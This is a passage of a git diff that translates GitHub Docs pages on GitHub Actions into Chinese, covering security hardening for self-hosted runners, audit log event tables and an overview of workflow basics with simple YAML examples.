上的公共存储库](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security),因为任何用户都可以打开针对存储库的拉取请求并对环境造成损害。 同样,在专用或内部存储库上使用自托管运行器时要{% elsif ghes or ghae %}要{% endif %}谨慎,因为任何可以创建存储库分支并打开拉取请求的人(通常是那些对存储库具有读取访问权限的人)都能够损害自托管运行器环境,包括获得对机密和 `GITHUB_TOKEN` 的访问权限,根据其设置,可以授予对存储库的写入权限。 尽管工作流程可以通过使用环境和必需的审查来控制对环境密钥的访问,但是这些工作流程不是在隔离的环境中运行,在自托管运行程器上运行时仍然容易遭受相同的风险。 -When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.product_name %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. You can restrict what {% ifversion restrict-groups-to-workflows %}workflows, {% endif %}organizations and repositories can access runner groups. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)." +在组织或企业级别定义自托管运行器时, {% data variables.product.product_name %} 可将多个仓库中的工作流程安排到同一个运行器中。 因此,这些环境的安全危害可能会导致广泛的影响。 为了帮助缩小损害范围,可以通过将自托管运行器组织到单独的组中来创建边界。 你可以限制访问运行器组的{% ifversion restrict-groups-to-workflows %}工作流、{% endif %}组织和存储库。 有关详细信息,请参阅“[使用组管理对自托管运行器的访问](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)”。 -You should also consider the environment of the self-hosted runner machines: -- What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others. -- Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment. +您还应考虑自托管运行器机器的环境: +- 配置为自托管运行器的计算机上存储哪些敏感信息? 例如,私有 SSH 密钥、API 访问令牌等。 +- 计算机是否可通过网络访问敏感服务? 例如,Azure 或 AWS 元数据服务。 此环境中的敏感信息量应保持在最低水平,您应该始终注意,任何能够调用工作流程的用户都有权访问此环境。 -Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages. +某些客户可能会尝试通过实施在每次作业执行后自动销毁自托管运行器的系统来部分降低这些风险。 但是,此方法可能不如预期有效,因为无法保证自托管运行器只运行一个作业。 有些任务将使用机密作为命令行参数,可以在同一运行器上的另一个任务中看到,例如 `ps x -w`。 这可能导致秘密泄露。 -### Planning your management strategy for self-hosted runners +### 为自托管运行器规划管理策略 -A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner: +可以将自托管运行器添加到 {% data variables.product.prodname_dotcom %} 层次结构中的各个级别:企业、组织或存储库级别。 此布置决定了谁将能够管理运行器: -**Centralized management:** - - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. - - If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future. +集中式管理: + - 如果您计划让一个集中的团队拥有自托管的运行器,则建议在最高的相互组织或企业级别添加您的运行器。 这为您的团队提供了一个位置来查看和管理您的运行器。 + - 如果您只有一个组织,那么在组织级别添加运行器实际上是相同的方法,但如果将来添加另一个组织,则可能会遇到困难。 -**Decentralized management:** - - If each team will manage their own self-hosted runners, then the recommendation is to add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. - - You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories. +分散管理: + - 如果每个团队将管理自己的自托管运行器,则建议将运行器添加到团队所有权的最高级别。 例如,如果每个团队都拥有自己的组织,那么在组织级别添加运行器是最简单的。 + - 您还可以在存储库级别添加运行器,但这会增加管理开销,并且还会增加所需的运行器数量,因为您无法在存储库之间共享运行器。 {% ifversion fpt or ghec or ghes > 3.4 %} -### Authenticating to your cloud provider +### 向云提供商进行身份验证 -If you are using {% data variables.product.prodname_actions %} to deploy to a cloud provider, or intend to use HashiCorp Vault for secret management, then its recommended that you consider using OpenID Connect to create short-lived, well-scoped access tokens for your workflow runs. For more information, see "[About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)." +如果您使用 {% data variables.product.prodname_actions %} 部署到云提供商,或者打算使用 HashiCorp Vault 进行机密管理,则建议您考虑使用 OpenID Connect 为工作流程运行创建短期、范围得当的访问令牌。 有关详细信息,请参阅“[关于使用 OpenID Connect 进行安全强化](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)”。 {% endif %} -## Auditing {% data variables.product.prodname_actions %} events +## 审核 {% data variables.product.prodname_actions %} 事件 -You can use the audit log to monitor administrative tasks in an organization. The audit log records the type of action, when it was run, and which personal account performed the action. +您可以使用审核日志来监控组织中的管理任务。 审核日志记录操作类型、操作的运行时间以及执行操作的个人帐户。 -For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets: - ![Audit log entries](/assets/images/help/repository/audit-log-entries.png) +例如,可以使用审核日志跟踪 `org.update_actions_secret` 事件,这些事件跟踪组织机密的更改:![审核日志条目](/assets/images/help/repository/audit-log-entries.png) -The following tables describe the {% data variables.product.prodname_actions %} events that you can find in the audit log. For more information on using the audit log, see -"[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)" and "[Reviewing audit logs for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise)." +以下表格描述了您可以在审核日志中找到的 {% data variables.product.prodname_actions %} 事件。 有关使用审核日志的详细信息,请参阅“[查看组织的审核日志](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)”和“[查看企业的审核日志](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise)”。 {% ifversion fpt or ghec %} -### Events for environments +### 环境事件 -| Action | Description +| 操作 | 说明 |------------------|------------------- -| `environment.create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." -| `environment.delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)." -| `environment.remove_actions_secret` | Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." -| `environment.update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `environment.create_actions_secret` | 在环境中创建机密时触发。 有关详细信息,请参阅“[环境机密](/actions/reference/environments#environment-secrets)”。 +| `environment.delete` | 当环境被删除时触发。 有关详细信息,请参阅“[删除环境](/actions/reference/environments#deleting-an-environment)”。 +| `environment.remove_actions_secret` | 从环境中删除机密时触发。 有关详细信息,请参阅“[环境机密](/actions/reference/environments#environment-secrets)”。 +| `environment.update_actions_secret` | 当环境中的机密更新时触发。 有关详细信息,请参阅“[环境机密](/actions/reference/environments#environment-secrets)”。 {% endif %} {% ifversion fpt or ghes or ghec %} -### Events for configuration changes -| Action | Description +### 配置更改事件 +| 操作 | 说明 |------------------|------------------- -| `repo.actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not visible when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)." -| `repo.update_actions_access_settings` | Triggered when the setting to control how your repository is used by {% data variables.product.prodname_actions %} workflows in other repositories is changed. +| `repo.actions_enabled` | 为仓库启用 {% data variables.product.prodname_actions %} 时触发。 可以使用用户界面查看。 当您使用 REST API 访问审计日志时,此事件不可见。 有关详细信息,请参阅“[使用 REST API](#using-the-rest-api)”。 +| `repo.update_actions_access_settings` | 当控制其他存储库中的 {% data variables.product.prodname_actions %} 工作流使用存储库方式的设置发生更改时触发。 {% endif %} -### Events for secret management -| Action | Description +### 机密管理的事件 +| 操作 | 说明 |------------------|------------------- -| `org.create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)." -| `org.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed. -| `org.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated. -| `repo.create_actions_secret ` | Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)." -| `repo.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed. -| `repo.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated. +| `org.create_actions_secret` | 为组织创建 {% data variables.product.prodname_actions %} 机密时触发。 有关详细信息,请参阅“[为组织创建加密机密](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)”。 +| `org.remove_actions_secret` | 当 {% data variables.product.prodname_actions %} 密码被移除时触发。 +| `org.update_actions_secret` | 在 {% data variables.product.prodname_actions %} 密码更新时触发。 +| `repo.create_actions_secret ` | 为仓库创建 {% data variables.product.prodname_actions %} 密码时触发。 有关详细信息,请参阅“[为存储库创建加密机密](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)”。 +| `repo.remove_actions_secret` | 当 {% data variables.product.prodname_actions %} 密码被移除时触发。 +| `repo.update_actions_secret` | 在 {% data variables.product.prodname_actions %} 密码更新时触发。 -### Events for self-hosted runners -| Action | Description +### 自托管运行器的事件 +| 操作 | 说明 |------------------|------------------- -| `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)." -| `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. -| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)." -| `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." -| `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." -| `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)." -| `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)." -| `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization). -| `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)." -| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." -| `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." -| `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." -| `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." -| `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." -| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)." -| `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." -| `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." -| `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." +| `enterprise.register_self_hosted_runner` | 在注册新的自托管运行器时触发。 有关详细信息,请参阅“[将自托管运行器添加到企业](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)”。 +| `enterprise.remove_self_hosted_runner` | 当自托管运行器被移除时触发。 +| `enterprise.runner_group_runners_updated` | 当运行器组成员列表更新时触发。 有关详细信息,请参阅“[为组织设置自托管运行器](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)”。 +| `enterprise.self_hosted_runner_online` | 当运行器应用程序启动时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 有关详细信息,请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。 +| `enterprise.self_hosted_runner_offline` | 当运行器应用程序停止时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 有关详细信息,请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。 +| `enterprise.self_hosted_runner_updated` | 当运行器应用程序更新时触发。 可以使用 REST API 和 UI 查看。 当您将审核日志导出为 JSON 数据或 CSV 文件时,此事件不包括在内。 有关详细信息,请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)”和“[查看组织的审核日志](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)”。 +| `org.register_self_hosted_runner` | 在注册新的自托管运行器时触发。 有关详细信息,请参阅“[将自托管运行器添加到组织](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)”。 +| `org.remove_self_hosted_runner` | 当自托管运行器被移除时触发。 有关详细信息,请参阅“[从组织中删除运行器](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization)”。 +| `org.runner_group_runners_updated` | 当运行器组成员列表更新时触发。 有关详细信息,请参阅“[为组织设置自托管运行器](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)”。 +| `org.runner_group_updated` | 当自托管运行器组的配置改变时触发。 有关详细信息,请参阅“[更改自托管运行器组的访问策略](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)”。 +| `org.self_hosted_runner_online` | 当运行器应用程序启动时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 有关详细信息,请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。 +| `org.self_hosted_runner_offline` | 当运行器应用程序停止时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 有关详细信息,请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。 +| `org.self_hosted_runner_updated` | 当运行器应用程序更新时触发。 可以使用 REST API 和 UI 查看;在 JSON /CSV 导出中不可见。 有关详细信息,请参阅[关于自承载运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)。 +| `repo.register_self_hosted_runner` | 在注册新的自托管运行器时触发。 有关详细信息,请参阅“[将自托管运行器添加到存储库](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)”。 +| `repo.remove_self_hosted_runner` | 当自托管运行器被移除时触发。 有关详细信息,请参阅“[从存储库中删除运行器](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)”。 +| `repo.self_hosted_runner_online` | 当运行器应用程序启动时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 有关详细信息,请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。 +| `repo.self_hosted_runner_offline` | 当运行器应用程序停止时触发。 只能使用 REST API 查看;在 UI 或 JSON/CSV 导出中不可见。 有关详细信息,请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。 +| `repo.self_hosted_runner_updated` | 当运行器应用程序更新时触发。 可以使用 REST API 和 UI 查看;在 JSON /CSV 导出中不可见。 有关详细信息,请参阅[关于自承载运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)。 -### Events for self-hosted runner groups -| Action | Description +### 自托管运行器组的事件 +| 操作 | 说明 |------------------|------------------- -| `enterprise.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an enterprise](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)." -| `enterprise.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." -| `enterprise.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. -| `enterprise.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." -| `enterprise.runner_group_updated` |Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." -| `org.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)." -| `org.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." -| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." -| `org.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." -| `org.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." +| `enterprise.runner_group_created` | 在创建自托管运行器组时触发。 有关详细信息,请参阅“[为企业创建自托管运行器组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)”。 +| `enterprise.runner_group_removed` | 当自托管运行器组被移除时触发。 有关详细信息,请参阅“[删除自托管运行器组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)”。 +| `enterprise.runner_group_runner_removed` | 当 REST API 用于从组中删除自托管运行器时触发。 +| `enterprise.runner_group_runners_added` | 当自托管运行器添加到组时触发。 有关详细信息,请参阅“[将自托管运行器移动到组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)”。 +| `enterprise.runner_group_updated` |当自托管运行器组的配置改变时触发。 有关详细信息,请参阅“[更改自托管运行器组的访问策略](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)”。 +| `org.runner_group_created` | 在创建自托管运行器组时触发。 有关详细信息,请参阅“[为组织创建自托管运行器组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)”。 +| `org.runner_group_removed` | 当自托管运行器组被移除时触发。 有关详细信息,请参阅“[删除自托管运行器组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)”。 +| `org.runner_group_updated` | 当自托管运行器组的配置改变时触发。 有关详细信息,请参阅“[更改自托管运行器组的访问策略](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)”。 +| `org.runner_group_runners_added` | 当自托管运行器添加到组时触发。 有关详细信息,请参阅“[将自托管运行器移动到组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)”。 +| `org.runner_group_runner_removed` | 当 REST API 用于从组中删除自托管运行器时触发。 有关详细信息,请参阅“[为组织从组中删除自托管运行器](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)”。 -### Events for workflow activities +### 工作流程活动事件 {% data reusables.actions.actions-audit-events-workflow %} diff --git a/translations/zh-CN/content/actions/using-workflows/about-workflows.md b/translations/zh-CN/content/actions/using-workflows/about-workflows.md index dd1f91943e..b012c43be9 100644 --- a/translations/zh-CN/content/actions/using-workflows/about-workflows.md +++ b/translations/zh-CN/content/actions/using-workflows/about-workflows.md @@ -1,7 +1,7 @@ --- -title: About workflows +title: 关于工作流程 shortTitle: About workflows -intro: 'Get a high-level overview of {% data variables.product.prodname_actions %} workflows, including triggers, syntax, and advanced features.' +intro: '获取简要概述 {% data variables.product.prodname_actions %} 工作流,包括触发器、语法和高级功能。' versions: fpt: '*' ghes: '*' @@ -14,54 +14,59 @@ redirect_from: topics: - Workflows miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: cb0b834604d49432d34cec48b0c9f27e37161804 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146180509' --- - -## About workflows +## 关于工作流程 {% data reusables.actions.about-workflows-long %} -## Workflow basics +## 工作流基础知识 -A workflow must contain the following basic components: +工作流必须包含以下基本组件: -1. One or more _events_ that will trigger the workflow. -1. One or more _jobs_, each of which will execute on a _runner_ machine and run a series of one or more _steps_. -1. Each step can either run a script that you define or run an action, which is a reusable extension that can simplify your workflow. +1. 一个或多个将触发工作流的事件。 +1. 一个或多个作业,每个作业都将在运行器计算机上执行,并运行一系列(一个或多个)步骤 。 +1. 每个步骤都可以运行你定义的脚本或运行操作,这是一个可简化工作流的可重用扩展。 -For more information on these basic components, see "[Understanding GitHub Actions](/actions/learn-github-actions/understanding-github-actions#the-components-of-github-actions)." +有关这些基本组件的详细信息,请参阅“[了解 GitHub Actions](/actions/learn-github-actions/understanding-github-actions#the-components-of-github-actions)”。 -![Workflow overview](/assets/images/help/images/overview-actions-simple.png) +![工作流概述](/assets/images/help/images/overview-actions-simple.png) -## Triggering a workflow +## 触发工作流程 {% data reusables.actions.about-triggers %} -For more information, see "[Triggering a workflow](/actions/using-workflows/triggering-a-workflow)", and for a full list of events, see "[Events that trigger workflows](/actions/using-workflows/events-that-trigger-workflows)." +有关详细信息,请参阅“[触发工作流](/actions/using-workflows/triggering-a-workflow)”,有关事件的完整列表,请参阅“[触发工作流的事件](/actions/using-workflows/events-that-trigger-workflows)”。 -## Workflow syntax +## 工作流程语法 -Workflow are defined using YAML. For the full reference of the YAML syntax for authoring workflows, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#about-yaml-syntax-for-workflows)." +工作流程是使用 YAML 定义的。 有关用于创作工作流的 YAML 语法的完整参考,请参阅“[GitHub Actions 的工作流语法](/actions/using-workflows/workflow-syntax-for-github-actions#about-yaml-syntax-for-workflows)”。 {% data reusables.actions.workflow-basic-example-and-explanation %} -For more on managing workflow runs, such as re-running, cancelling, or deleting a workflow run, see "[Managing workflow runs](/actions/managing-workflow-runs)." +有关管理工作流运行(例如重新运行、取消或删除工作流运行)的详细信息,请参阅“[管理工作流运行](/actions/managing-workflow-runs)”。 -## Using starter workflows +## 使用入门工作流程 {% data reusables.actions.workflow-template-overview %} -For more information on using and creating starter workflows, see "[Using starter workflows](/actions/using-workflows/using-starter-workflows)" and "[Creating starter workflows for your organization](/actions/using-workflows/creating-starter-workflows-for-your-organization)." +有关使用和创建入门工作流的详细信息,请参阅“[使用入门工作流](/actions/using-workflows/using-starter-workflows)”和“[为组织创建入门工作流](/actions/using-workflows/creating-starter-workflows-for-your-organization)”。 -## Advanced workflow features +## 高级工作流程功能 -This section briefly describes some of the advanced features of {% data variables.product.prodname_actions %} that help you create more complex workflows. +本部分简要介绍了 {% data variables.product.prodname_actions %} 的一些高级功能,可帮助你创建更复杂的工作流。 -### Storing secrets +### 存储机密 -If your workflows use sensitive data, such as passwords or certificates, you can save these in {% data variables.product.prodname_dotcom %} as _secrets_ and then use them in your workflows as environment variables. This means that you will be able to create and share workflows without having to embed sensitive values directly in the workflow's YAML source. +如果你的工作流使用密码或证书等敏感数据,你可以将这些数据作为机密保存在 {% data variables.product.prodname_dotcom %} 中,然后在工作流中将它们用作环境变量。 这意味着你将能够创建和共享工作流,而无需直接在工作流的 YAML 源中嵌入敏感值。 -This example job demonstrates how to reference an existing secret as an environment variable, and send it as a parameter to an example command. +此示例作业演示如何将现有机密引用为环境变量,并将其作为参数发送到示例命令。 {% raw %} ```yaml @@ -77,13 +82,13 @@ jobs: ``` {% endraw %} -For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." +有关详细信息,请参阅“[加密机密](/actions/security-guides/encrypted-secrets)”。 -### Creating dependent jobs +### 创建依赖的作业 -By default, the jobs in your workflow all run in parallel at the same time. If you have a job that must only run after another job has completed, you can use the `needs` keyword to create this dependency. If one of the jobs fails, all dependent jobs are skipped; however, if you need the jobs to continue, you can define this using the `if` conditional statement. +默认情况下,工作流程中的作业同时并行运行。 如果你有一个作业只能在另一个作业完成后运行,则可以使用 `needs` 关键字来创建此依赖项。 如果其中一个作业失败,则跳过所有从属作业;但如果需要作业继续运行,可以使用 `if` 条件语句来定义。 -In this example, the `setup`, `build`, and `test` jobs run in series, with `build` and `test` being dependent on the successful completion of the job that precedes them: +在此示例中,`setup`、`build` 和 `test` 作业连续运行,其中 `build` 和 `test` 取决于其前面的作业是否成功完成: ```yaml jobs: @@ -103,11 +108,11 @@ jobs: - run: ./test_server.sh ``` -For more information, see "[Defining prerequisite jobs](/actions/using-jobs/using-jobs-in-a-workflow#defining-prerequisite-jobs)." +有关详细信息,请参阅“[定义先决条件作业](/actions/using-jobs/using-jobs-in-a-workflow#defining-prerequisite-jobs)”。 -### Using a matrix +### 使用矩阵 -{% data reusables.actions.jobs.about-matrix-strategy %} The matrix is created using the `strategy` keyword, which receives the build options as an array. For example, this matrix will run the job multiple times, using different versions of Node.js: +{% data reusables.actions.jobs.about-matrix-strategy %} 矩阵是使用 `strategy` 关键字创建的,该关键字接收生成选项作为数组。 例如,此矩阵将使用不同版本的 Node.js 多次运行作业: ```yaml jobs: @@ -122,14 +127,14 @@ jobs: node-version: {% raw %}${{ matrix.node }}{% endraw %} ``` -For more information, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)." +有关详细信息,请参阅“[为作业使用矩阵](/actions/using-jobs/using-a-matrix-for-your-jobs)”。 {% ifversion actions-caching %} -### Caching dependencies +### 